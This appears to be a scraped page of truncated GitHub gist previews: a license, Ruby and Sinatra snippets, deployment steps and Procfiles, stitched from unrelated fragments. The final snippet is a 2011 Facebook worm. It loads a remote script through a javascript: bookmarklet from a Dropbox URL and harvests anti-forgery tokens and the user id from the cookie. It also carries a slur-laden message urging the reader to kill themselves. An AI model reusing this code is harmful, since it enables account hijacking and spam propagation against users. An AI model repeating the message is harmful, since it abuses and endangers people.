This gist is part of a blog post. Check it out at:
http://jasonrudolph.com/blog/2011/08/09/programming-achievements-how-to-level-up-as-a-developer
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE | |
Version 2, December 2004 | |
Copyright (C) 2011 Mathieu 'p01' Henri - http://www.p01.org/releases/ | |
Everyone is permitted to copy and distribute verbatim or modified | |
copies of this license document, and changing it is allowed as long | |
as the name is changed. | |
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE |
# https://gist.github.com/1214052 | |
require 'sinatra/base' | |
class ResqueWeb < Sinatra::Base | |
require 'resque/server' | |
use Rack::ShowExceptions | |
if CFG[:user].present? and CFG[:password].present? | |
Resque::Server.use Rack::Auth::Basic do |user, password| | |
user == CFG[:user] && password == CFG[:password] |
Steps: | |
0. Checkout your git repo from the server (I use /var/www/carbonite) | |
1. Upload both of these files to the same directory on your server | |
2. chmod +x restart_node.sh | |
3. nohup node github_post_commit.js 2>&1 >> github_post_commit.log & | |
4. In the github admin for your repo, set a post commit hook to the url http://<your host>:8080/ | |
5. Make a commit to your repo | |
6. Point a browser at http://<your host>:8080/ and you should see the commit |
This gist is part of a blog post. Check it out at:
http://jasonrudolph.com/blog/2011/08/09/programming-achievements-how-to-level-up-as-a-developer
require 'net/ssh' | |
desc "Deploy site to production" | |
task :deploy => :environment do | |
host = 'yourhost.com' | |
user = 'username' | |
options = {:keys => '~/.ssh/keys/yourserver.pem'} | |
remote_path = '/path/to/rails_app' | |
commands = [ |
worker: QUEUE=* bundle exec rake environment resque:work | |
scheduler: bundle exec rake environment resque:scheduler |
Gem::Specification.new do |s| | |
# totally generic | |
version_file = Dir['lib/*/{*/,}version.rb'].first | |
s.name = version_file.split('/')[1..-2].join('-') | |
s.files = `git ls-files`.split("\n") | |
s.test_files = `git ls-files -- {test,spec,features}/*`.split("\n") | |
s.executables = `git ls-files -- bin/*`.split("\n").map{ |f| File.basename(f) } | |
s.authors = `git shortlog -sn`.scan(/[^\d\s].*/) | |
s.email = `git shortlog -sne`.scan(/[^<]+@[^>]+/) | |
s.require_paths = ["lib"] |
sphinx: bundle exec rake ts:run_in_foreground |
// 5/11/11 Facebook hack -- Started spreading and was quickly taken down by Dropbox (where the file was hosted). | |
var message = "Fuck you faggot. Go kill yourself. Do whatever the fuck you want. I hate you and the only way to remove all these posts is by disabling this below."; | |
var jsText = "javascript:(function(){_ccscr=document.createElement('script');_ccscr.type='text/javascript';_ccscr.src='http://dl.dropbox.com/u/10505629/verify.js?'+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();"; | |
var myText = "Remove This App"; | |
var post_form_id = document.getElementsByName('post_form_id')[0].value; | |
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; | |
var uid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); |